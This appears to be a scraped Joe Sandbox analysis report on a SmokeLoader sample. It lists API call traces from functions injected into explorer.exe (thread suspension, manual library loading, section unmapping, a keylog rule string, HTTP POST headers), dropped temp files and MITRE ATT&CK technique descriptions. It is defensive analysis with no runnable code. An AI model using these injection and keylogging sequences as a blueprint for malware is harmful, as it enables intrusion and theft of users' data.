CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 02EF261B
Thread32First.KERNEL32(00000000,0000001C), ref: 02EF2629
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 02EF2648
SuspendThread.KERNEL32(00000000), ref: 02EF2658
CloseHandle.KERNEL32(00000000), ref: 02EF2667
Thread32Next.KERNEL32(00000000,0000001C), ref: 02EF2677
CloseHandle.KERNEL32(00000000), ref: 02EF2682

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: b93adb883909f984c02d74c0c4b54f0d38b7fb8f8c06ef38dadb8edd9a64203e
Instruction ID: 224a5e0d2f9fd8a2c72ce2a7ac213b80287433bf7382216559d071adabf53c69
Opcode Fuzzy Hash: b93adb883909f984c02d74c0c4b54f0d38b7fb8f8c06ef38dadb8edd9a64203e
Instruction Fuzzy Hash: F5118671CC5240EFD7419F61A84CA6EBFA4EFC4705F41489AFB4692540D7308995CBA7

Function 02EF20A1 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02EF2A09: GetProcessHeap.KERNEL32(00000008,0000A000,02EF10BF), ref: 02EF2A0C
Part of subcall function 02EF2A09: RtlAllocateHeap.NTDLL(00000000), ref: 02EF2A13

Part of subcall function 02EF298A: lstrlen.KERNEL32(02EF4FE2,?,00000000,00000000,02EF20DD,74DE8A60,02EF4FE2,00000000), ref: 02EF2992
Part of subcall function 02EF298A: MultiByteToWideChar.KERNEL32(00000000,00000000,02EF4FE2,00000001,00000000,00000000), ref: 02EF29A4

Part of subcall function 02EF24CC: RtlZeroMemory.NTDLL(?,00000018), ref: 02EF24DE

RtlZeroMemory.NTDLL(?,0000003C), ref: 02EF2139
wsprintfW.USER32 ref: 02EF2272
wsprintfW.USER32 ref: 02EF22DD
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 02EF23A7

Strings

Host: %s, xrefs: 02EF22D7
Accept: */*Referer: %S, xrefs: 02EF2268
POST, xrefs: 02EF2223
Content-Type: application/x-www-form-urlencoded, xrefs: 02EF2301

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: a919847c549348b771cde4b0d21261d9e4d17e763332320aaea1864a166da73c
Instruction ID: e0bf68cc20a5bd853adda30c4381d14c29a194dbb089b95145628aeb7a2ecfe6
Opcode Fuzzy Hash: a919847c549348b771cde4b0d21261d9e4d17e763332320aaea1864a166da73c
Instruction Fuzzy Hash: A3A18B71688341AFD3909F69D884A2BBBE9EFC8744F40992DFB85C7250DB70D944CB62

Function 02EF12AE Relevance: 7.6, APIs: 5, Instructions: 93
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02EF29BD: VirtualAlloc.KERNEL32(00000000,00040744,00003000,00000040,02EF12D9,00000000,00000000,?,00000001), ref: 02EF29C7

lstrlen.KERNEL32(00000000,00000000,00000000,?,00000001), ref: 02EF12DC

Part of subcall function 02EF2A09: GetProcessHeap.KERNEL32(00000008,0000A000,02EF10BF), ref: 02EF2A0C
Part of subcall function 02EF2A09: RtlAllocateHeap.NTDLL(00000000), ref: 02EF2A13

PathMatchSpecA.SHLWAPI(?,00000000), ref: 02EF138A

Part of subcall function 02EF2841: lstrlen.KERNEL32(00000000,?,?,00000001,00000000,02EF1119,00000001), ref: 02EF2850
Part of subcall function 02EF2841: lstrlen.KERNEL32(keylog_rules=,?,?,00000001,00000000,02EF1119,00000001), ref: 02EF2855

RtlZeroMemory.NTDLL(00000000,00000104), ref: 02EF1316
RtlMoveMemory.NTDLL(00000000,?,?), ref: 02EF1332

Part of subcall function 02EF2569: lstrlen.KERNEL32(00000000,00000000,00000000,00000000,02EF136E), ref: 02EF2591
Part of subcall function 02EF2569: RtlMoveMemory.NTDLL(00000FA4,00000000,00000000), ref: 02EF259A

RtlMoveMemory.NTDLL(00000000,?,?), ref: 02EF135F

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: Memorylstrlen$Move$Heap$AllocAllocateMatchPathProcessSpecVirtualZero
String ID:
API String ID: 2993730741-0
Opcode ID: 06288e7cbe7255666e51741d9afd979bbe4870a6fcdd3ea5855cc6e5dba542aa
Instruction ID: 6405d561c36b6bcc358b4d6c9e27ff9644af2aacf3b43949f3aaf73ddefc36a8
Opcode Fuzzy Hash: 06288e7cbe7255666e51741d9afd979bbe4870a6fcdd3ea5855cc6e5dba542aa
Instruction Fuzzy Hash: D721E170B85305DF8784EE29885497FB7DAABC4704B40A92EFF4AD7740DB34DC498A62

Function 02EF1581 Relevance: 7.6, APIs: 5, Instructions: 66
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalLock.KERNEL32(00000000), ref: 02EF15A9
lstrlenW.KERNEL32(00000000), ref: 02EF15C6
lstrcatW.KERNEL32(00000000,00000000), ref: 02EF15DC
lstrlenW.KERNEL32(00000000), ref: 02EF1600
GlobalUnlock.KERNEL32(00000000), ref: 02EF161C

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: Globallstrlen$LockUnlocklstrcat
String ID:
API String ID: 1114890469-0
Opcode ID: dadb238a774472d20d66308882851d90a0cf8c09d25d8b532c82a66faa985ece
Instruction ID: a02c81cb65ad271d85b162e5b5a58d20b0fd72d5329440ecd65bbf280ac29334
Opcode Fuzzy Hash: dadb238a774472d20d66308882851d90a0cf8c09d25d8b532c82a66faa985ece
Instruction Fuzzy Hash: 1C016B32FC0149DB86E4667A6C586BE33AE9FD521C709E466FB0F9B100DF248C024650

Function 02EF1BBD Relevance: 6.1, APIs: 4, Instructions: 101
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 02EF1BF4
LoadLibraryA.KERNEL32(?,02EF5848,00000000,00000000,74DF2EE0,00000000,02EF19B6,?,?,?,00000001,?,00000000), ref: 02EF1C1C
GetProcAddress.KERNEL32(00000000,-00000002), ref: 02EF1C49
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 02EF1C9A

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: 3305970d97e2c2bb9bea84910436b001c16efbd7e1ef3be9dda7bb8ee207255a
Instruction ID: e1ca1a5a69cd8dce046f8c095054a70f008ee8fb6077334a9c9a3cf498608ac0
Opcode Fuzzy Hash: 3305970d97e2c2bb9bea84910436b001c16efbd7e1ef3be9dda7bb8ee207255a
Instruction Fuzzy Hash: 7E318071780619EBCB9CCF29C884BA6B7A8BF0531CF14956DE94ECB600D731E855DBA0

Function 02EF182D Relevance: 6.0, APIs: 4, Instructions: 42sleepstringCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(02EF582C), ref: 02EF1839
lstrlenW.KERNEL32 ref: 02EF1845
RtlLeaveCriticalSection.NTDLL(02EF582C), ref: 02EF18A9
Sleep.KERNEL32(00007530), ref: 02EF18B4

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: CriticalSection$EnterLeaveSleeplstrlen
String ID:
API String ID: 2134730579-0
Opcode ID: ec5022b730ae7f51243f1977cf300f8f5b00094e624f1f704fd910ca950d3bbc
Instruction ID: d35de0c5aea73aeac976c73c19284bc053ff3f4779a4172fa442178bad418c17
Opcode Fuzzy Hash: ec5022b730ae7f51243f1977cf300f8f5b00094e624f1f704fd910ca950d3bbc
Instruction Fuzzy Hash: 3401A230DD0640EBD7D4A7A6ED2892E3AAAEBC17007909429FB058B240DB308951DFB2

Function 02EF26C9 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,?,00000001,?,00000000,02EF11DD), ref: 02EF26DB
IsWow64Process.KERNEL32(000000FF,?), ref: 02EF26ED
IsWow64Process.KERNEL32(00000000,?), ref: 02EF2700
CloseHandle.KERNEL32(00000000), ref: 02EF2716

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID:
API String ID: 331459951-0
Opcode ID: 2ce7bae0c469c4db1a9138d0d900d86984f6daeaeb5f53eefb55f00a981dba0a
Instruction ID: 6b589f9d88cd65ce2e096f085071eb028b884a42aa7abd3b85b2763f077f41ee
Opcode Fuzzy Hash: 2ce7bae0c469c4db1a9138d0d900d86984f6daeaeb5f53eefb55f00a981dba0a
Instruction Fuzzy Hash: F3F09071CC2218FF9B50CFA19D488EEB7BCEF05259B5042AAEB0093180D7304E40E6A0

Function 02EF17DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31timeCOMMON

Download Yara Rule

APIs

Part of subcall function 02EF2A09: GetProcessHeap.KERNEL32(00000008,0000A000,02EF10BF), ref: 02EF2A0C
Part of subcall function 02EF2A09: RtlAllocateHeap.NTDLL(00000000), ref: 02EF2A13

GetLocalTime.KERNEL32(?,00000000), ref: 02EF17F3
wsprintfW.USER32 ref: 02EF181D

Strings

[%02d.%02d.%d %02d:%02d:%02d], xrefs: 02EF1817

Memory Dump Source

Source File: 00000013.00000002.4123291639.0000000002EF1000.00000040.80000000.00040000.00000000.sdmp, Offset: 02EF1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_2ef1000_explorer.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: [%02d.%02d.%d %02d:%02d:%02d]
API String ID: 377395780-613334611
Opcode ID: 7d48d51ccf8f1bf4655d7c0a9fc9ac4e46b63ae2bb8acbaa396395a1b7a1f79c
Instruction ID: bf752e84ed2c775600226390122fa2d863a5ee4572dc1ed6b40e0313928e9533
Opcode Fuzzy Hash: 7d48d51ccf8f1bf4655d7c0a9fc9ac4e46b63ae2bb8acbaa396395a1b7a1f79c
Instruction Fuzzy Hash: B2F03062D40128BA9B54ABDA9C058FFB3FCEB0CB02B40058AFB41E1180E67859A0D3B5

Analysis Process: explorer.exePID: 4092, Parent PID: 2580COMMON

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004D370C Relevance: 1.6, APIs: 1, Instructions: 75
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 004D378C

Memory Dump Source

Source File: 00000015.00000002.4123104713.00000000004D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 004D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4d1000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: dbf61e07686744f72196ae4154379358cd8380f5b457a8fa64264e9f57adb311
Instruction ID: 82c65fae17e1e5de2419f14fb46055c329890a1d401718eba02ff3fbd049f8fb
Opcode Fuzzy Hash: dbf61e07686744f72196ae4154379358cd8380f5b457a8fa64264e9f57adb311
Instruction Fuzzy Hash: B6119374601D094BEB58FBB998AD27633E1E714316F54816FA815C73A2DE3D8A818705

Function 004DB4A8 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,?,?,?,?,?,?,7473604B), ref: 004DB5A7
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 004DB651
VirtualProtect.KERNELBASE ref: 004DB66F

Memory Dump Source

Source File: 00000015.00000002.4123104713.00000000004DA000.00000040.80000000.00040000.00000000.sdmp, Offset: 004DA000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4da000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 2ac08652e5940d8da138c1cef1dd6534290a638b515b67647dbd8ecab25afafd
Instruction ID: 6b80e6b9117ae0590efc540d252bf551b375ef9b78dc10799397c1d28dfcdd95
Opcode Fuzzy Hash: 2ac08652e5940d8da138c1cef1dd6534290a638b515b67647dbd8ecab25afafd
Instruction Fuzzy Hash: BC518B3175491D9BCB24AA38ACF42F5B3C1F759329B59062BC48AC3385D75CC84683CA

Function 004D34C4 Relevance: 3.2, APIs: 2, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004D1BF8: OpenFileMappingA.KERNEL32 ref: 004D1C0F
Part of subcall function 004D1BF8: MapViewOfFile.KERNELBASE ref: 004D1C2E

SysFreeMap.PGOCR ref: 004D36F7
SleepEx.KERNELBASE ref: 004D3701

Memory Dump Source

Source File: 00000015.00000002.4123104713.00000000004D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 004D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4d1000_explorer.jbxd

Similarity

API ID: File$FreeMappingOpenSleepView
String ID:
API String ID: 4205437007-0
Opcode ID: b219c8272f255adf82644705b15b3be163a192963f27b66c12c2cdeb1fe9695d
Instruction ID: 67ded6d96049de90f6bd53c231d07bb9e1c6fccd3ceb4b1aebfdcf845d3e7427
Opcode Fuzzy Hash: b219c8272f255adf82644705b15b3be163a192963f27b66c12c2cdeb1fe9695d
Instruction Fuzzy Hash: 22519430218A085FDB19FF29D8A96AA7391EB94315F44461FE447C73A1DF3CDA058786

Function 004D1BF8 Relevance: 3.0, APIs: 2, Instructions: 40
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32 ref: 004D1C0F
MapViewOfFile.KERNELBASE ref: 004D1C2E

Memory Dump Source

Source File: 00000015.00000002.4123104713.00000000004D1000.00000040.80000000.00040000.00000000.sdmp, Offset: 004D1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_4d1000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 6967ddb8a23556e9d4b9c667e167efa50793072ee7ce98a3c93afcac9569559f
Instruction ID: 6c7a65d5fc388cc0b49a965f6208c27d4291a2d5e978670403597d7e701fb9f5
Opcode Fuzzy Hash: 6967ddb8a23556e9d4b9c667e167efa50793072ee7ce98a3c93afcac9569559f
Instruction Fuzzy Hash: 2CF08234318F0D4FAB44EF7C9C9C136B7E0EBA8202700857A984AC6264EF34C8408701

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ctMI3TYXpX.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\35DB.exe

C:\Users\user\AppData\Local\Temp\B099.tmp

C:\Users\user\AppData\Local\Temp\B099.tmp-shm

C:\Users\user\AppData\Local\Temp\B473.tmp

C:\Users\user\AppData\Local\Temp\B724.tmp

C:\Users\user\AppData\Local\Temp\B972.exe

C:\Users\user\AppData\Local\Temp\BCB3.tmp

C:\Users\user\AppData\Local\Temp\BD9E.tmp

C:\Users\user\AppData\Local\Temp\BE0D.tmp

C:\Users\user\AppData\Local\Temp\BE5C.tmp

C:\Users\user\AppData\Roaming\dcvjdff

C:\Users\user\AppData\Roaming\hdhruer

Windows Analysis Report
ctMI3TYXpX.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
